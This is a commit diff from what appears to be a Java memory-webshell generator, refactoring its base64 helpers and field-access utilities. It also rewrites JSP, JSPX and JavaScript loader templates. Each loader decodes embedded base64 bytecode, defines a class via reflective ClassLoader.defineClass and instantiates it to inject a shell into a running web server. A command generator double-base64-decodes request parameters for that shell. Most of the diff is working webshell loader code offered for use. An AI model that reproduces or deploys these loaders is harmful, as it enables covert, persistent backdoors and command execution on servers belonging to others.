Skip to content

Commit 2e2aa6b

Browse files
committed
refactor: simplify base64 and getFieldValue method
1 parent 4a99636 commit 2e2aa6b

File tree

88 files changed

+716
-1582
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

88 files changed

+716
-1582
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,8 @@
1212

1313
import java.util.Collections;
1414

15-
import static net.bytebuddy.matcher.ElementMatchers.*;
15+
import static net.bytebuddy.matcher.ElementMatchers.named;
16+
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
1617

1718
/**
1819
* @author ReaJason
@@ -39,6 +40,7 @@ public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class
3940
if (methodNotFound) {
4041
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
4142
.withParameters(Object.class, String.class)
43+
.throwing(Exception.class)
4244
.intercept(FixedValue.nullValue())
4345
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
4446
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
package com.reajason.javaweb.memshell.generator.command;
22

3-
import com.reajason.javaweb.ClassBytesShrink;
43
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
54
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
65
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -53,6 +52,7 @@ public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
5352
)
5453
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
5554
.withParameters(String.class)
55+
.throwing(Exception.class)
5656
.intercept(FixedValue.nullValue())
5757
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
5858
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
public class DoubleBase64ParamInterceptor {
1111

1212
@Advice.OnMethodExit
13-
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
13+
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
1414
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
1515
}
1616
}

generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java

Lines changed: 18 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -12,22 +12,17 @@ public class ShellCommonUtil {
1212

1313
@SuppressWarnings("all")
1414
public static Object getFieldValue(Object obj, String name) throws Exception {
15-
Field field = null;
1615
Class<?> clazz = obj.getClass();
1716
while (clazz != Object.class) {
1817
try {
19-
field = clazz.getDeclaredField(name);
20-
break;
18+
Field field = clazz.getDeclaredField(name);
19+
field.setAccessible(true);
20+
return field.get(obj);
2121
} catch (NoSuchFieldException var5) {
2222
clazz = clazz.getSuperclass();
2323
}
2424
}
25-
if (field == null) {
26-
throw new NoSuchFieldException(name);
27-
} else {
28-
field.setAccessible(true);
29-
return field.get(obj);
30-
}
25+
throw new NoSuchFieldException();
3126
}
3227

3328
public static class GetFieldValueInterceptor {
@@ -37,42 +32,33 @@ public static void exit(@Advice.Argument(value = 0) Object obj,
3732
@Advice.Argument(value = 1) String name,
3833
@Advice.Return(readOnly = false) Object returnValue
3934
) throws Exception {
40-
Field field = null;
4135
Class<?> clazz = obj.getClass();
4236
while (clazz != Object.class) {
4337
try {
44-
field = clazz.getDeclaredField(name);
45-
break;
38+
Field field = clazz.getDeclaredField(name);
39+
field.setAccessible(true);
40+
returnValue = field.get(obj);
41+
return;
4642
} catch (NoSuchFieldException var5) {
4743
clazz = clazz.getSuperclass();
4844
}
4945
}
50-
if (field == null) {
51-
throw new NoSuchFieldException(name);
52-
} else {
53-
field.setAccessible(true);
54-
returnValue = field.get(obj);
55-
return;
46+
if (returnValue == null) {
47+
throw new NoSuchFieldException();
5648
}
5749
}
5850
}
5951

6052

6153
@SuppressWarnings("all")
62-
public static String base64DecodeToString(String bs) {
54+
public static String base64DecodeToString(String bs) throws Exception {
6355
byte[] value = null;
64-
Class<?> base64;
6556
try {
66-
base64 = Class.forName("java.util.Base64");
67-
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
57+
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
6858
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
6959
} catch (Exception var6) {
70-
try {
71-
base64 = Class.forName("sun.misc.BASE64Decoder");
72-
Object decoder = base64.newInstance();
73-
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
74-
} catch (Exception ignored) {
75-
}
60+
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
61+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
7662
}
7763
return value == null ? null : new String(value);
7864
}
@@ -81,20 +67,14 @@ public static class Base64DecodeToStringInterceptor {
8167

8268
@Advice.OnMethodExit
8369
@SuppressWarnings("all")
84-
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
70+
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) throws Exception {
8571
byte[] value = null;
86-
Class<?> base64;
8772
try {
88-
base64 = Class.forName("java.util.Base64");
89-
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
73+
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
9074
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
9175
} catch (Exception var6) {
92-
try {
93-
base64 = Class.forName("sun.misc.BASE64Decoder");
94-
Object decoder = base64.newInstance();
95-
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
96-
} catch (Exception ignored) {
97-
}
76+
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
77+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
9878
}
9979
returnValue = value == null ? null : new String(value);
10080
}

generator/src/main/resources/shell.js

Lines changed: 14 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,16 @@
1-
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
2-
var className = "{{className}}";
31
var base64Str = "{{base64Str}}";
2+
var clsString = java.lang.Class.forName("java.lang.String");
3+
var bytecode;
44
try {
5-
classLoader.loadClass(className).newInstance();
6-
} catch (e) {
7-
var clsString = classLoader.loadClass("java.lang.String");
8-
var bytecode;
9-
try {
10-
var clsBase64 = classLoader.loadClass("java.util.Base64");
11-
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
12-
var decoder = clsBase64.getMethod("getDecoder").invoke(clsDecoder);
13-
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
14-
} catch (ee) {
15-
try {
16-
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
17-
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
18-
} catch (eee) {
19-
var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
20-
bytecode = clazz1.newInstance().decodeBuffer(base64Str);
21-
}
22-
}
23-
var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
24-
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
25-
var clsInt = java.lang.Integer.TYPE;
26-
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
27-
defineClass.setAccessible(true);
28-
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
29-
clazz.newInstance();
30-
}
5+
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
6+
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
7+
} catch (ee) {
8+
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
9+
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
10+
}
11+
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
12+
var clsInt = java.lang.Integer.TYPE;
13+
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
14+
defineClass.setAccessible(true);
15+
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
16+
clazz.newInstance();

generator/src/main/resources/shell.jsp

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -3,25 +3,24 @@
33
public ClassDefiner(ClassLoader classLoader) {
44
super(classLoader);
55
}
6+
67
public Class<?> defineClass(byte[] code) {
78
return defineClass(null, code, 0, code.length);
89
}
910
}
1011
%>
1112

1213
<%
13-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
1414
String base64Str = "{{base64Str}}";
1515
byte[] bytecode = null;
1616
try {
17-
Class base64Clz = classLoader.loadClass("java.util.Base64");
18-
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
19-
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
20-
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
17+
Class base64Clz = Class.forName("java.util.Base64");
18+
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
19+
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
2120
} catch (ClassNotFoundException ee) {
22-
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
23-
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
21+
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
22+
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
2423
}
25-
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
24+
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
2625
clazz.newInstance();
2726
%>

generator/src/main/resources/shell.jspx

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -17,12 +17,11 @@
1717
byte[] bytecode = null;
1818
try {
1919
Class base64Clz = classLoader.loadClass("java.util.Base64");
20-
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
21-
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
22-
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
20+
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
21+
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
2322
} catch (ClassNotFoundException ee) {
2423
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
25-
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
24+
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
2625
}
2726
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
2827
clazz.newInstance();

generator/src/main/resources/shell1.jsp

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,11 @@
44
byte[] bytecode = null;
55
try {
66
Class base64Clz = classLoader.loadClass("java.util.Base64");
7-
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
8-
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
9-
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
10-
} catch (ClassNotFoundException e) {
7+
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
8+
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
9+
} catch (ClassNotFoundException ee) {
1110
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
12-
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
11+
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
1312
}
1413
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
1514
defineClass.setAccessible(true);

generator/src/main/resources/shell2.jsp

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,12 +7,11 @@
77
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
88
try {
99
Class base64Clz = classLoader.loadClass("java.util.Base64");
10-
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
11-
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
12-
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
13-
} catch (ClassNotFoundException e) {
10+
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
11+
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
12+
} catch (ClassNotFoundException ee) {
1413
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
15-
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
14+
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
1615
}
1716
Object unsafe = null;
1817
Object rawModule = null;

generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,6 @@ void test() {
2020
.injectorBytesBase64Str("hehe").build();
2121
String content = new String(packer.pack(generateResult));
2222
System.out.println(content);
23-
assertTrue(content.contains("var className = \"hehe\";"));
2423
assertTrue(content.contains("var base64Str = \"hehe\";"));
2524
}
2625
}

0 commit comments

Comments
 (0)